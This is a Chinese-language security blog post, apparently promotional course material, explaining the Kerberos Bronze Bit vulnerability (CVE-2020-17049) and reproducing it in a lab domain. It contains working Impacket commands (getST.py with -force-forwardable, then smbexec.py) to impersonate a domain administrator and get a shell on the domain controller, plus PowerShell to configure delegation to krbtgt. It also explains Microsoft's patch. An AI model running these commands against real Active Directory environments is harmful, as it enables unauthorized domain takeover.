如果大家想参加《域渗透攻防》的培训课程,可以参见:助你弯道超车,《域渗透攻防》培训课程来啦!
本文部分节选于《域渗透攻防指南》,购买请长按如下图片扫码
漏洞背景和描述
Kerberos Bronze Bit(CVE-2020-17049)漏洞是国外安全公司Netspi安全研究员Jake Karnes发现的一个安全功能绕过漏洞。KDC密钥分发中心在确定 Kerberos 服务票据是否可用于通过 Kerberos 的约束性委派时,其方式中存在一个安全功能绕过漏洞。 要利用此漏洞,一个被配置为使用约束性委派的遭入侵服务可以篡改一个对委派无效的服务票据,从而迫使 KDC 接受它。该漏洞启用的攻击是Kerberos委派引起的其他已知攻击的扩展,该漏洞绕过了现有攻击路径的两个缓解措施,提高了它们的有效性和通用功能性:
-
绕过了 Protected Users组内用户和 设置了"敏感账号,不能被委派" 的安全措施,导致这些用户也可以被委派。
-
绕过在设置约束性委派时勾选 仅使用Kerberos(T) 选项,即无法进行协议转换。
漏洞原理
我们首先来看一下,KDC对约束性委派和RBCD(基于资源的约束性委派)校验过程中对于通过S4U2Self请求的服务票据的验证,验证过程如图所示,KDC首先会检查通过S4U2Self请求的ST服务票据的forwardable标志位:
-
如果该位为0,也就是不可转发,那么就会再验证是否是RBCD
○如果不是RBCD委派,则不返回票据
○如果是RBCD委派,则再检查被委派 的用户是否设置了不能被委派
◾️如果设置了,则不返回票据,
◾️如果没设置,则返回票据。
-
如果该位为1,也就是可转发,那么就会再验证两者之间是否有委派配置
○如果两者有委派配置,则返回票据
○如果两者无委派配置,则不返回票据
从上面的流程中我们可以看出,对于约束性委派和基于资源的约束性委派,最后不返回票据的原因都不尽相同。但是我们可以看到,只要在验证forwardable这一步过程中,forwardable标志位为1,则约束性委派和基于资源的约束性委派在S4U2Proxy这一步均能获得票据。因此,我们后续的攻击就能成功。
如图所示是TGS-REP返回图,从中我们可以看出通过S4u2Self协议请求的ST服务票据是使用Service1的hash加密,并且forwardable标志位不在已签名的PAC中。而我们又是知道Service1的hash的。因此,我们可以使用Service1的hash解密Service1 ST服务票据,然后将可转发forwardable标志位设置为1,再重新加密,形成修改后的Service1 ST服务票据,这一步是不需要篡改PAC签名的,并且KDC在验证PAC签名的时候也无法察觉到数据包被篡改。修改后的Service1 ST服务票据的forwardable标志位为1,因此在S4U2Proxy这一步我们就能获得票据!
漏洞影响版本
-
所有未打补丁的Windows服务器
漏洞复现
以下是实验环境:
-
域控:AD01(10.211.55.4)
-
域管理员:administrator
-
服务账号:hack
-
域:xie.com
01
约束性委派攻击绕过
已经配置好了hack服务账号对cifs/AD01.xie.com服务具有约束性委派,但是仅使用Kerberos(K),也就是说不能进行协议转换。如图所示:
设置域管理员administrator敏感账户,不能被委派。如图所示:
如图所示,当我们使用常规的委派攻击命令时,提示如下错误。
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user test or initial TGT not forwardable
但是当我们执行如下命令时加上 -force-forwardable 参数绕过时,成功获取到票据!
#以administrator的身份申请一张访问cifs/ad01.xie.com服务的票据
python3 getST.py -dc-ip AD01.xie.com xie.com/hack:P@ss1234 -spn cifs/ad01.xie.com -impersonate administrator -force-forwardable
#导入该票据
export KRB5CCNAME=administrator.ccache
#访问域控
python3 smbexec.py -no-pass -k ad01.xie.com
02
基于资源的约束性委派攻击绕过
首先取消hack帐户的约束性委派属性,如图所示:
然后使用如下命令在域控上配置hack用户到krbtgt服务具有基于资源的约束性委派。
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount hack
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
如图所示,配置hack用户到krbtgt服务具有基于资源的约束性委派。
设置域管理员administrator敏感账户,不能被委派属性。如图所示:
如图所示,当我们使用常规的基于资源的约束性委派攻击命令时,提示如下错误。
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user test or initial TGT not forwardable
但是当我们执行如下命令时加上 -force-forwardable 参数时,成功获取到票据!
#以administrator的身份请求一张到krbtgt服务的票据
python3 getST.py -dc-ip 10.211.55.4 -spn krbtgt -impersonate administrator xie.com/hack:P@ss1234 -force-forwardable
#导入该票据
export KRB5CCNAME=administrator.ccache
#以administrator身份访问域控AD01.xie.com
python3 smbexec.py -no-pass -k administrator@AD01.xie.com -dc-ip 10.211.55.4
漏洞预防和修复
微软已经发布了该漏洞的补丁程序,可以直接通过Windows自动更新解决以上问题。
那么该补丁是如何修复漏洞的呢?
微软在补丁包中新增了一个票据签名。S4U2Self阶段生成的服务票据,KDC用其密钥在票据上进行了签名,并将签名插入了PAC中,而后PAC又经过两次签名(使用服务密钥(PAC_SERVER_CHECKSUM)和使用KDC密钥(PAC_PRIVSVR_CHECKSUM)签名)。在之后的S4U2Proxy阶段,KDC会验证PAC的三个签名,必须得三个签名都验证通过,KDC才会返回服务票据。否则,KDC将返回KRB_AP_ERR_MODIFIED消息。因此攻击者就无法修改数据包中的forwardable标志位了。
END
非常感谢您读到现在,由于作者的水平有限,编写时间仓促,文章中难免会出现一些错误或者描述不准确的地方,恳请各位师傅们批评指正。如果你想一起学习AD域安全攻防的话,可以加入下面的知识星球一起学习交流。
原文始发于微信公众号(谢公子学安全):Kerberos Bronze Bit攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论